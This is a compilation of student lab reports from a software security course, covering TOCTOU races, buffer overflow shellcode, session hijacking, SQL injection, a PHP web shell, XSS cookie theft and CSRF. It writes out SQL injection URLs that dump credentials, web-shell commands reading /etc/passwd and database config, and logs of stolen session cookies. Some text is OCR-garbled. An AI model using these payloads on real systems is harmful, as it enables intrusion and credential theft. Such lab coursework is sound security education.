
CPS 474/574: Software/Language-based Security

Lab 1 Exploiting and Understanding the TOCTOU vulnerability

Name:- Niharika S Gadhave Email:- gadhaven1@udayton.edu
Instructor:- Dr. Phu Phung Students ID:- 1017113060

Task 1 Exploit the Program

A:- Attack Performed



Description: The attack happens because the shared account is updated the time - of - check and time - of - use

B:- Attack Explanation

- 1:- How did you attack the system? You might mention the steps you have taken. Ans:- Steps to attack the system:
 - ☐ Connected to virtual desktop of college
 - ☐ Opened the terminal and started the server using

Java -jar ShoppingCart.jar

☐ Opened 2 more terminals which would act like concurrent threads/clients then connected to the server using below command


Telnet localhost 8888

- ☐ Purchase products at the same time from each client terminal. This will result in the purchase of both things despite the fact that we do not have enough money.
- 2:- Why did the attack happen? Explain in detail.

Ans:- The reasons for this attack to happen are: The threads are not synchronized, a transaction initiated by another thread has no effect on the value of a shared variable and at least two clients are simultaneously accessing a common variable.

<u>Task 2</u> <u>Source code modification output</u>

A:- Modified source code output



B:- The lines of code in the program's source code that can be exploited

• The method declaration of the getBalance() method in Wallet.java

Public int getBalance() throws IOException {.....}

• The run function in ShoppingCart.java does not check the account balance for any alterations made by any other threads. This takes use of the software to keep the balance constant regardless of thread purchases.

C:- Solution to fix the TOCTOU


We must verify or obtain the most recent balance before putting additional items to the pocket. The price of the new item is then contrasted with this revised balance. This makes sure that any updates from another thread are taken into account during this thread's process cycle.

```
balance=wallet.getBalance();
if(balance=price){
    wallet.setBalance(balance-price);
    Pocket pocket - new Pocket();
    pocket.addProduct(product);
    out.println("You have sucessfully purchased a '" + product + "'");
    out.println("Your new balance: " + wallet.getBalance()+ " credits");
    out.flush();
}else{
    out.println("Your balance is less than the price");
    out.flush();
}
```

Synchronizing method

```
public synchronized int getBalance() throws IDException {
    this.file.seek(0);
    return Integer.parseInt(this.file.readLine());
}
```

The user cannot add any purchases to the cart that are larger than the balance after making the aforementioned modifications.



D:- API functionalities and bugs

1:- Wallet.getBalance()

Function: We are utilizing the seek method because we want to conduct both read and write operations from a place. We can define the index from which the read operation will commence using this approach. The file pointer position was set to 0. This position's text is type cast to an integer before being returned. If the value of the file pointer position is less than 0, this procedure may cause an IOException.

Bugs: At the moment, there is no call to/synchronization of this function to check the balance before adding things to the pocket. To avoid thread interference, this process should be synchronized. All reads and updates to this object's variables must use synchronized methods since this object may be accessible to many threads.

2:- Store.getPrice(String product)

Functions: This method receives the text value supplied and, depending on the user's choice, provides the appropriate price of the product in integer format. After any purchase, the new balance is determined using this value.

Bugs: There are no bugs in this method

3:- Wallet.setBalance()

Function: This method converts an int parameter to a string parameter before

writing the result to the file. During typecasting, this method may also throw an exception.

Bugs: Currently, after adding things to the pocket, this function is not called or synced to change the balance. This procedure has to be synchronized in order to reflect the new balance following other thread interference. All reads and updates to this object's variables must use synchronized methods since this object may be accessible to many threads.

4:- Pocket.addProduct(String product)

Function: This function inserts the string the user selected in the Pocket using the String value as an input.

Bugs: Due to the fact that the setBalance function is already synchronized. This approach doesn't abuse the software.

CPS 474/574 : Software/Language-based Security


Lab 2 AspectJ, Inlined Reference Monitors and Reverse Engineering

Name:- Niharika S Gadhave Email:- gadhaven1@udayton.edu
Instructor:- Dr. Phu Phung Students ID:- 1017113060


Repository link: https://bitbucket.org/lbs_gadhaven1/ss-lbs-gadhaven1/src/master/

Part 1 Aspect-Oriented Programming and Inlined Reference Monitors

Task 1: Started with Aspectj




Task 2: Modified Aspectj




Task 3: Modified Java Bytecode using AspectJ

i. Packaging Java to Java Bytecode




ii. Weaving aspect to jar file





Task 4: Learning how to create security policies in AspectJ

i. Demonstration





ii. Description:

- Every time, the Wallet class's setBalance method, which accepts the balance as a parameter or argument, is called, and I've made a pointcut for each of those calls as well.
- The balance can be entered through the command line using the advice type "after."
- The balance is then accessed by this aspect, and both the time and it are printed.

iii. Source Code for AspectJ

```
import java.util.Date;
public aspect ShoppingCartaspect{


pointcut setBalance(int balance): call(* Wallet.setBalance(int)) && args(balance);


after(int balance):setBalance(balance){
    System.out.println("AOP test: By Niharika Gadhave. This is After greeting :");
    System.out.println("This Policy is enforced by Niharika Gadhave");
    System.out.println((new Date()).toString() + "\n The new balance is: "+balance);
    }
}
```

Part 2 Reverse Engineering

Task 5: Java bytecode Reverse Engineering

- i. Examination of Aspect Code
 - Every time the get Balance function is used, AspectJ code is now included in the catch block for these getBalance calls.
 - Currently, the only files left of this shopping cart are ShoppingCartAspect.class (a new class) and ShoppingCartAspect.java.





ii. Advice code:


- The new advice code has been inserted each time the get Balance method is invoked in the old code.
- There is a call to the ShoppingCartAspect aspect in the catch block.
- The getBalance() function is handled by the try block.

iii. Code Mapping

- Aspect-oriented programming and IRM have a notion in common that includes injecting code into the target application. A target language serves as the basis for it.
- Because we included an advisory type after the getBalance join point and the aspect call was added to this target code, the try block has been used to manage calls to this function. This target pointcut has the AOP code woven within it. Because of this, each time the getBalance() function is invoked at a join point in the pointcut, the advisory code is performed

Task 6: Android Reverse Engineering


i. Running an APK Android emulator





ii. Reverse engineer and modified hybrid Android app


```
SEEDVMFA22-gadhaven1
                                                                                                                                                                                                                                                                                                      Enforce US Keyboard Layout View Fullscreen
~/gadhaven1/ss-lbs-gadhaven1/labs/lab2-irm-reverse/android/newApk/assets/www/app.js - Sublime Text (UNREGISTERED)
                                            HelioAspectaj — ss-lbs-F22-gadhaven1/...|Aspectj | README.md | x | HelioAspectaj — gadhaven1/...|Aspectj | x | ShappingCartaspectaj | x | ShappingCartaspect
   0
                                               /*/ exports provided: render, staticRenderFns */
/***/ (function(nodule, _webpack_exports_, _webpack_require_) (
                                             "use strict":
eval("_webpack_require__.r(_webpack_exports__);\a/* harmony import */ var _node_modules_vue_loader_lib_loaders_templateLoader_js_vue_loader_options_node_modules
                                              /***/ }).
                                               /*** ./src/routes.js ***)
                                               /*! exports provided: default */
/***/ (function(module. _webpack_exports _ _webpack_require_) {
                                              "use strict";
eval("_webpack_require__r(_webpack_exports__);\n/* harmony import */ var_pages_home_vue_WEBPACK_IMPORTEO_MODULE_0_ = _webpack_require__(/*! ./pages/home.vu
                                              /ess/ 1).
                                              /***/ 0:
/*!*** multi //src/app js ***!
(********/
                                              /*/ os static exports found */
/***/ (function(nodule, exports, _webpack_require_) {
                                              eval("module.exports = _webpack_require__(/*! ./src/app.js "\"./src/app.js\");\m\m\m/# sourceURL=webpack://multi_./src/app.js\");
                                              /*****/ });
alert['This Android App is modified by Miharika Gadhave');
```

iii. Modified Android app









Modified Demo App

CPS 474/574 : Software/Language-based Security

Lab 3 Buffer Overflow Attack and Defenses

Name:- Niharika S Gadhave Email:- gadhaven1@udayton.edu
Instructor:- Dr. Phu Phung Students ID:- 1017113060

Bitbucket Link :-

https://bitbucket.org/lbs_gadhaven1/ss-lbs-gadhaven1/src/master/labs/lab3-bufferoverflow/

Task 1 Finding out the length input to overflow the buffer

- i. Steps/Preparation to determine the length.
 - After preparation steps given by the professor which was setup for buffer overflow.
 - Created myecho file in bufferoverflow
 - :- Turned off the address randomization using \$su root command then \$ systl -w kernel.randomize va space=0 to check
 - :- Set the root privilege by # chown root:root myecho command
 - Run the program until I reach the boundary between a successful and a segmentation fault using produced input.


Demo:

Task 2 Identifying the buffer address

- i. Which function used in the program is vulnerable to buffer overflow flaws? How do you know that?
- :- The string copy function is vulnerable.


Since there is no restriction on user input, the application's string copy method is susceptible to buffer overflow problems, which means that if we enter data that is greater than the buffer, it will cause a buffer overflow and a segmentation fault. Disassemble the main function to analyze the program's content.

- ii. Program pointer for breakdown
- :- 0x08048433 <+31> : call 0x8048320 <strcpy@plt>
- iii. Buffer address
- :- 0xbfffe75c
- iv. Buffer address verification
- :- We can demonstrate this by showing the content of stacks on top using 280 bytes ("gdb-pedax/280xb \$esp").
- v. Demo
- :- a. Use of gdb for debugging the program




b. Modified or overwritten the return address


c. Disassemble the program



d. Verify the vulnerable function's pointer



e. The program will pause at the breakpoint where we can find the buffer address



Task 3 **Construct the Payload**


- i. a. Size of payload is 46
- b. The Number NOP instruction = buffer number where segmentation fault size of the payload
 - Number of NOP instruction = 292-46 = 546
- c. The size is set up such that when the program returns to the new address, it hits the shellcode as "[NOP][NOP][NOP]*shellcode[Address]" and starts with the NOP instruction.

ii. Bof-attack-gadhaven.pl payload file



Task 4 Launch the attack

i. Attack demonstration



ii. When the program returns to the new address, the size is configured so that the shellcode is encountered as "[NOP][NOP][NOP]*shellcode[Address]" and the NOP instruction is then executed.

iii.



Task 5 A Buffer Overflow Attack Countermeasure

i. Buffer Overflow Attack Countermeasure result





ii. Every time a program is launched, the kernel now creates a random address to prevent attacks, so as to stop the randomization process which launches an attack which makes possible for buffer overflow attack.

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<u>Lab 4</u> <u>Web Application Programming with PHP, Session and MySQL Database</u>


Name:- Niharika S Gadhave Instructor:- Dr. Phu Phung Email: gadhaven1@udayton.edu

Students ID:- 1017113060

Homework

Bitbucket link:- https://bitbucket.org/lbs_gadhaven1/ss-lbs-gadhaven1/commits/

Output:-




- My understanding of HTTP GET and POST request
- Http GET is basically used for data retrieval with the option to enter inputs via URL
- Http POST is basically used to send a request with information in the HTTP Headers

LAB 4

Bitbucket link:- https://bitbucket.org/lbs gadhaven1/ss-lbs-gadhaven1/src/master/

<u>Task 0</u> Simple session test with php


a:- Deploying and testing the sessiontest.php



When I opened the sessiontest.php file on 2 different browsers (Firefox and Chromium) it was observed that whenever the page was refreshed it increased the number of visits on each browser but it wasn't the same on both. It was also notice that the through the website was same but the cookies were different of both browser.


b:- Observing the session hijacking

First-time



We might be able to see cookie information in the HTTP Response Header as it is produced by the server in response to our request, which is then preserved by the browser, when you visit localhost/sessiontest.php after deleting the cookie for that website in Firefox.


Second Time



After refreshing the page, it is clear that the cookie data is in the HTTP Request Header

and not the HTTP Response Header. This is due to the fact that when we first visit a website, both the server and both browsers already save the cookie. After the page has been refreshed, our browser sends a request to the server for the site and the server responds after identifying the cookie and comparing it with its data.

c:- Hijacked the session



When we refreshed the page, the number of visits indicated was 6. I then copied the cookie saved in the Firefox browser and replaced it with the cookie stored in the Chromium browser. This is due to the fact that when we visit a website again after changing the cookie in Chromium and it asks the cookie issued to Firefox with a visit value of 5, the server verifies the cookie and responds.

- If the session id is stole by attacker and no session protection mechanism then
 - Access was acquired to the restricted database.
 - Access to your account was gained.
 - Limit the accounts to which you have access.

Task 1 Mock-up login page with session in index.php

a:- Code:-

```
$_SESSION["logged"] = TRUE; //task 1a
$_SESSION["username"] = $username;
$welcome = "Welcome "; //not previously logged-in
}
```

In the mockcheckup function if the credentials are right it will return true and session logged will set as true otherwise it will redirect to else loop where the pop up will come that it is invalid username/password.

b:- Code:-


else

{//no username/password is provided
//check if the session has NOT been logged in, redirect to the login page
if(!isset(\$_SESSION["logged"]) or \$_SESSION["logged"] != TRUE) { // task 1b
 redirect_login('You have not logged in. Please login first!');
}

If the username and password is not provided or else if before login with valid credentials we try to get on index page there will be pop up window saying that you have not logged in please login first


c:- Testing the code

i. Alert pop up



Source Code:-<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Simple Web Application - Lab 4 - SS-LBS</title> </head> <body> <h1>SS-LBS - Lab 4</h1> <h2>Simple Web Application</h2> <a href="https://examp by "Niharika Gadhave"</h2> DEBUG>Received: username="" and password="" < br> <script>alert('Oops!!!! You have not logged in. Please login first!');</script> ii:- Invalid username/password ← → X ŵ ① 172.16.39.92/lab4/index.php ··· 영 습 Q Search M\ @ @ Most Visited SEED Labs Sites for Labs SS-LBS - Lab 4 Simple Web Application Simple index page by Phu Phung, customized by "Niharika Gadhave" DEBUG>Received: username="admin" and password="adm Sorry to say but it is Invalid username/password OK Source code:-<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Simple Web Application - Lab 4 - SS-LBS</title> </head> <body> <h1>SS-LBS - Lab 4</h1>

```
<h2>Simple Web Application</h2>
       <h2>Simple index page by <font color="blue">Phu Phung</font>, customized
by "Niharika Gadhave"</h2>
DEBUG>Received: username="admin" and password="admin" <br
<script>alert('Sorry to say but it is Invalid username/password');</script>
iii:- Welcome message pop up
 ← → C û
               ① 172.16.39.92/lab4/index.php
                                                            ··· 영 ☆ Q Search
                                                                                        M @ 0
 ♦ Most Visited ■ SEED Labs ■ Sites for Labs
 SS-LBS - Lab 4
 Simple Web Application
 Simple index page by Phu Phung, customized by "Niharika Gadhave"
 DEBUG>Received: username="gadhaven1" and password="admin" Current time: 2022-10-13 02:13:29am
 Welcome gadhaven1!
 Logout
Source Code:-
<!DOCTYPE html>
<html>
<head>
       <meta charset="UTF-8">
       <title>Simple Web Application - Lab 4 - SS-LBS</title>
</head>
<body>
       <h1>SS-LBS - Lab 4</h1>
       <h2>Simple Web Application</h2>
       <a href="https://www.energe.com/stable-number-12">https://www.energe.com/stable-number-12</a>>Simple index page by <font color="blue">Phu Phung</font>, customized
by "Niharika Gadhave"</h2>
DEBUG>Received: username="gadhaven1" and password="admin" < br >
Current time: 2022-10-13 02:13:29am
<h2>Welcome <font color='blue'>gadhaven1</font>!</h2>
       <a href="logout.php">Logout</a>
</body>
</html>
```



When we logout from the page and visit the index page it will ask us to login again as the session was destroyed.

Task 2 Check if the session is logged in the login.php page


A:- login.php


Code:

if(isset(\$_SESSION["logged"]) and \$_SESSION["logged"] == TRUE){
echo "<script>alert('You have been logged in. Welcome Back!');</script>";
header("Refresh:0; url=index.php");
exit();

This code helps to check if the session logged is true or false if the credentials are valid it will show that you have successfully logged in and then display the time when we logged in.

b:- Deploying the code






After making changes in login.php, the alert message will be displayed until we clicked ok and then will direct us to action page and display message.

<u>Task 3</u> <u>Interaction with database</u>

- In index.php we will connect the php with the database and if it wasn't successfully the connection error message will pop up.
 - Code:

- Instead of mockchecklogin we changed to checklogin. This is to check the users credentials are saved in database if it match with existing credentials they will direct to action page or else invalid username/password message will pop up.




Code:

if (/*TODO for TASK 3.b*/checklogin(\$username,\$password))

a:- Creating a table

We added the new credentials in the existing table using mysql query.



b:- login.php

As soon as we added new credentials in database we were able to login with that credential and the website was able to display my username and password with the time I logged in.



CPS 474/574 : Software/Language-based Security

<u>Lab 5</u> <u>Session Hijacking Attack and Protection</u>

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Instructor:- Dr. Phu Phung Students ID:- 1017113060

Bitbucket:

https://bitbucket.org/lbs_gadhaven1/ss-lbs-gadhaven1/src/master/labs/lab5-session/

Task 1 Understanding the session management

a:- Observing HTTP Request/Response with Cookies (first time)




i. Is there any cookie information in HTTP Request? Why?

Ans: No, there is no cookie information in HTTP Request. This is because it was our first time to login to this page from the server and there is no stored cookie in the browser.

ii. Is there any cookie information in HTTP Response? What is cookie value?

Ans: Yes, there is cookie information in HTTP Response. The value of cookie is "PHPSESSID=2a8a02734aef84cffc50d02cd6a45a07".

b:- Observing HTTP Request/Response with Cookies (Second time)



i. Is there any cookie information in HTTP Response? What is cookie value? Compare the value with a.ii and explain your understanding.

Ans:- After login we can we the message Welcome back instead of Welcome. We can observe that there is cookie value in HTTP request

"PHPSESSID=2a8a02734aef84cffc50d02cd6a45a07" which matches with the cookie in http response in a.ii.

This is because when we login in for the first time the data was store in http response and when we login again the request was send to server so the stored cookie was respond to the request.

ii. Is there any cookie information in HTTP Response? Why?

Ans:- There is no cookie found in http response as the stored data in cookie was requested to server and the stored cookie was transferred in http request.

c:- Observing HTTP Request/Response with Cookies after logout

We logout from the page and it shows that we should login again. Once we login we

will see the message welcome instead of welcome back. In the new tab we will open http://172.16.39.92/lab5/index.php we see the "Welcome back" message. Additionally, in stages (a.ii) and, the cookie information is the same as in HTTP Request (b.i). This is due to the session never ending because it is constantly open. The cookie therefore matches the cookies from the previous phase.

Task 2 Session hijacking attack


a:- Performed the attack

i: Victim Side

Used the code in the browser console to send the cookie information. Used the same code to browse. It directed me to the apache page where I found the file which was stored in that cookie.



After browsing the http://172.16.39.92/lab5/index.php the pop up come with message that I have logged out I should login again



After clicking on ok to the message it directed me to the login page. As the hacker I don't know the username and password to login.




iii: The session hijacking

Using code \$cat /var/log/apache2/access.log to get the cookie. Copied the cookie value and pasted it in the console of the web page in the form of document.cookie="[cookie value]".



After refreshing the web browser we can observe that we were able to login and instead of a welcome message it was a welcome back message.



b: Attack explanation

We can see that in part the victim used a javascript command to log in to the server and send the cookie information to the attacker.

In a.ii we get to see that the attacker used the stolen cookie value to login to the website without knowing the login credentials. We can say that the server validates the HTTP Request against the victim's cookie and finds that the victim has already signed in for the session because the victim's cookie is present in the HTTP Request. It was noticed that when the victim tried to login again he was notified with welcome back message instead of welcome message.

<u>Task 3</u> <u>Fix the session hijacking vulnerability</u>

a: Code revision and comparison

Previous code of index.php

Modified code of index.php

```
bibliocket.org/lbs_gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils=lbs-gadhavenils
```


Previous Code of login.php

Modified code of login.php

```
### District organics and haven the solid part of the part of the
```

b: Attack prevention

After modifying the code which was basically to add an alert message and to check if the browser agent is the same or different. If it is the same agent to login to the webpage. The pop up message will come saying that session hijacking is detected.



CPS 474/574 : Software/Language-based Security

<u>Lab 6</u> <u>From SQL Injection Attack to Shell</u>

Name:- Niharika S Gadhave Email:- gadhaven1@udayton.edu

Instructor:- Dr. Phu Phung Students ID:- 1017113060

Bitbucket Link:-

https://bitbucket.org/lbs_gadhaven1/ss-lbs-gadhaven1/src/master/labs/Lab6/


Part 1

Explotating the SQL Injection vulnerabilities to obtain the data from the database

Task 1 Discovering of SQL vulnerabilities

a:- Displaying my UD email ID on the website

URL:- http://photoblog.westus3.cloudapp.azure.com/cat.php?id=3 union select 1,'gadhaven1',3,4



b:- Displaying the username and the host of the database

URL:-


http://photoblog.westus3.cloudapp.azure.com/cat.php?id=3%20UNION%20SELECT% 201,current_user(),3,4



c:- Displaying the database name of the web application

URL:-

http://photoblog.westus3.cloudapp.azure.com/cat.php?id=3%20UNION%20SELECT% 201,database(),3,4



d:- Display all the information together

URL:-

http://photoblog.westus3.cloudapp.azure.com/cat.php?id=3%20union%20select%201,concat(%27gadhaven1:lab6-1.b%3Edatabase-user:%27,%20current_user(),%27(database-user:%27,database(),%27)%27),3,4



Task 2 Retrieving the data from the database

a:- Display all the table with the columns

i:- Injected query


Description: The list of tables appeared in which we can find the username and password which will help to login to the system.

URL:-

http://photoblog.westus3.cloudapp.azure.com/cat.php?id=3%20union%20%20SELECT %201,concat(%22table%20Name:%22,table_name,%22|Column%20Name:%22,%20c olumn name),3,4%20FROM%20information schema.columns



ii:- Username/password retrieving



b:- Displaying the content of table

i:- SQL query to display the content

Description:- After sending a query to recover the username and password of the system in table form.

URL:-


http://photoblog.westus3.cloudapp.azure.com/cat.php?id=3%20union%20SELECT%201,concat(%22gadhaven1:lab6-2.b%3Elogin:%3E%22,login,%22,Password:%22,password),3,4%20FROM%20users;



ii:- username/password


username: admin

Password: 8efe310f9ab3eae8d410a8e0166eb2




ii:- Login with given credentials

Description:- After retrieving the password we googled that, the password we received after browsing it was in plain text which helped us to login into the system. We login with given credentials.



b:- Uploading the variant php file

i:- Uploaded php file





ii:- Executed web application

Description:- We found the error & warning as we browsed the link below because we didn't edit the link as per requirement.

URL:-

 $\frac{http://photoblog.westus3.cloudapp.azure.com/admin/uploads/gadhaven1-shell.php3?}{alt=gadhaven1}$





Description:- When we added the command cat /etc/passwd/

URL:-

 $\frac{http://photoblog.westus3.cloudapp.azure.com/admin/uploads/gadhaven1-shell.php3?cal}{1=\%20cat\%20/etc/passwd}$



b:- Hacked the system using system command

i:- Used pwd command to get the path of the file




Then used ls /var/www/html command to get the root directory.



ii:- To view the content of the file added the command cat /var/www/html/index.php

URL:-

 $\frac{http://photoblog.westus3.cloudapp.azure.com/admin/uploads/gadhaven1-shell.php3?cal}{1=cat\%20/var/www/html/index.php}$



iii: We got the credentials of the database of the database present in dp.php file in classes of web server in root directory.


URL:-


 $\frac{http://photoblog.westus3.cloudapp.azure.com/admin/uploads/gadhaven1-shell.php3?cal}{l=cat\%20/var/www/html/classes/db.php}$



<u>Task 5</u> <u>Inserting new data in database</u>

a:- Revising php file





CPS 474/574 : Software/Language-based Security

Lab 7 From XSS Attacks of session hijacking, SQL and to the shell

Name:- Niharika S Gadhave

Email:- gadhaven1@udayton.edu

Stadanta ID: 1017113060


Instructor:- Dr. Phu Phung Students ID:- 1017113060

Bitbucket:- https://bitbucket.org/lbs gadhaven1/ss-lbs-gadhaven1/src/master/

Part 1 From XSS to session hijacking attack

Task 1 Inject the XSS code and steal the victim's cookie

a: Construct the XSS Code



The code above used code is to build XSS attack link which helps us to steal the victim cookies, by getting victim cookie we can easily login to the system.

b:- Tested XSS code i:- Created link ← → C û ① myblog.westus3.cloudapp.azure.com/post.php?id=2 ··· ♥ ☆ Q Search IIN ⊕ □ ≡ Most Visited SEED Labs Sites for Labs . This is Natalie Stanton, please click here to get a bonus prize. . This is Shishaal, please click here for free clash of clans gens . Hi from Sree Kanteti, click here to know how to earn 1 million dollars in one week . This is Sree Kantell, please click here to get your bonus point Hi from Sree Kanteti, please click here to get bonus point warning from garikipatii1 : click to back hack warning warning from garikipatii1 : click for Lab? . Hi, please click here to get bonus point . Hello, this is Ichchha Sharma. Please click here to allow me to hijack your session · Hello, this is Hitesh Sakhare. Please Click Here allow me to hijack this session This is Vaibhav Varma. Third time's a charm, Now Click here to let me hack your session!! . This is Atharva Tigadiclick herefor bonus points This is Keshav Bansal, please click here to get 10 Million Dollars . This is Rahul Theresaraj, please click here to get a chance to win a cart!! . Hey there! This is Karthi Balasundaram, please click here to get a brand new iPhone14max. . Hi from Karthi Balasundaram Click here to win a new (Phone14 ProMax! Hello, this is Swspnil Shinde. Click here to allow KSS attack. ← → C û ① 172.16.39.92/?cookies= III\ ⊕ □ ≡ ··· ♥ ☆ Q Search Most Visited SEED Labs Sites for Labs Index of / Last modified Size Description helloworld.php 2022-10-12 13:36 72 ab4/ 2022-10-20 11:45 2022-10-20 15:53 r sessiontest.php 2022-10-07 14:29 254 Apache/2.4.18 (Ubuntu) Server at 172.16.39.92 Port 80 After using the code mentioned in task 1.a we can see that the link has been created on the comment part. We cannot see the session ID as we are on the attacker side but as soon as victim click on link the session ID will be displayed.

ii:- Finding session ID

Before clicking on link


```
[11/07/22]seed@VM:~$ cat /var/log/apache2/access.log
172.16.39.92 - [07/Nov/2022:21:15:26 -0500] "GET /?cookies= HTTP/1.1" 200 750
"-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0"
172.16.39.92 - [07/Nov/2022:21:15:26 -0500] "GET /icons/blank.gif HTTP/1.1" 20
0 431 "http://172.16.39.92/?cookies=" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:
60.0) Gecko/20100101 Firefox/60.0"
172.16.39.92 - [07/Nov/2022:21:15:26 -0500] "GET /icons/unknown.gif HTTP/1.1"
200 528 "http://172.16.39.92/?cookies=" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0"
172.16.39.92 - [07/Nov/2022:21:15:26 -0500] "GET /icons/folder.gif HTTP/1.1" 2
00 508 "http://172.16.39.92/?cookies=" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0"
172.16.39.92 - [07/Nov/2022:21:15:26 -0500] "GET /favicon.ico HTTP/1.1" 404 50
3 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0"
[11/07/22]seed@VM:~$
```

After clicking on link




Task 2 Simulated the attack as a victim

Login into system



After clicking on the link made by the attacker { Hello, Niharika here. Please <u>click here</u> to allow XSS attack.}



When a victim login into the system and click on the link which was created by the attacker the victim session ID goes to the attacker which helps attacker to login.


<u>Task 3</u> <u>Perform session hijacking attack</u>

a: Retrieving the stolen information by XSS attack

```
DU (NOTIPL, LINE GECKU) ODUITCU CITTUINILUNI/49.0.2023.100 CITTUINE/49.0.2023.100 Satati
/537.36"
172.16.39.45 - - [08/Nov/2022:14:53:26 -0500] "GET /?cookie=PHPSESSID=me5vuls9rc
o7qd02bhv5cpada5 HTTP/1.1" 200 799 "http://myblog.westus3.cloudapp.azure.com/pos
t.php?id=2" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko
) Ubuntu Chromium/49.0.2623.108 Chrome/49.0.2623.108 Safari/537.36"
172.16.39.45 - - [08/Nov/2022:14:53:35 -0500] "GET /?cookie=PHPSESSID=me5vuls9rc
o7qd02bhv5cpada5 HTTP/1.1" 200 799 "http://myblog.westus3.cloudapp.azure.com/pos
t.php?id=2" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko
) Ubuntu Chromium/49.0.2623.108 Chrome/49.0.2623.108 Safari/537.36"
172.16.39.92 - - [08/Nov/2022:19:52:48 -0500] "GET /?cookie=PHPSESSID=fkagrhkb4i
r3pldlnhfqiq6jse HTTP/1.1" 200 799 "http://mybloq.westus3.cloudapp.azure.com/pos
t.php?id=2" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firef
ox/60.0"
172.16.39.92 - - [08/Nov/2022:19:52:49 -0500] "GET /icons/unknown.gif HTTP/1.1"
200 529 "http://172.16.39.92/?cookie=PHPSESSID=fkagrhkb4ir3pldlnhfqig6jse" "Mozi
lla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0"
172.16.39.92 - - [08/Nov/2022:19:52:49 -0500] "GET /icons/blank.gif HTTP/1.1" 20
```

By using command cat /var/log/apache2/access.log we can retrieve the victim's information.

b:- Performed session hijacking



The attacker opens the login page goes to the console of the page and inject the session id of the victim to successfully logged in to the system.

Part 2 From XSS to SQL injection

Task 4 Identifying SQL injection Vulnerabilities

i: Discovering Vulnerability




We tried to login using the 'or 1=1;#

b: Simple SQL injection attack




c:- Stole credentials using SQL injection



Task 5 SQLi attacks to the shell


a: Displaying php file content with SQLi attack




b: Creating php file with SQLi attack

i: Construct the SQLi query

URL:



ii:- Created php file





PS 474/574 : Software/Language-based Security

Lab 8 Cross Site Request Forgery attacks and defense solution

Name:- Niharika S Gadhave Email:- gadhaven1@udayton.edu
Instructor:- Dr. Phu Phung Students ID:- 1017113060

Bitbucket:- https://bitbucket.org/lbs gadhaven1/ss-lbs-gadhaven1/commits/

Task 1 Understanding HTTP Request Parameters

a: What is the full URL of CSRF attack

:- http://myblog.westus3.cloudapp.azure.com/admin/new.php

b: What are HTTP methods


:- Post is HTTP method used, we know it because it is mention in code itself

c:- What are field name

:- Title and Text are two field names used in request.

Task 2 Construct the webpage to perform CSRF


a: Revised code




We edited the code by adding the action, method, target and field with the help of answers of task 1.

URL to request the web application: <u>172.16.39.92/gadhaven1-crsflab.html</u>

b: Demonstration



When we browse the above mentioned link the alert message pops up saying that attack is about to happen by the attacker.




When we click on the OK or alert message it will redirect us to the login page as we don't have the username and password for the web application.

Task 3 Perform the CSRF using and injected link

a:- Construct the injected link

We injected the link by using below command

<a href="http://<u>172.16.39.92/gadhaven1-crsflab.html"</u>"> Click to get in the system . Niharika Gadhave



When we click on the text we build it will redirect us to the page we created earlier.

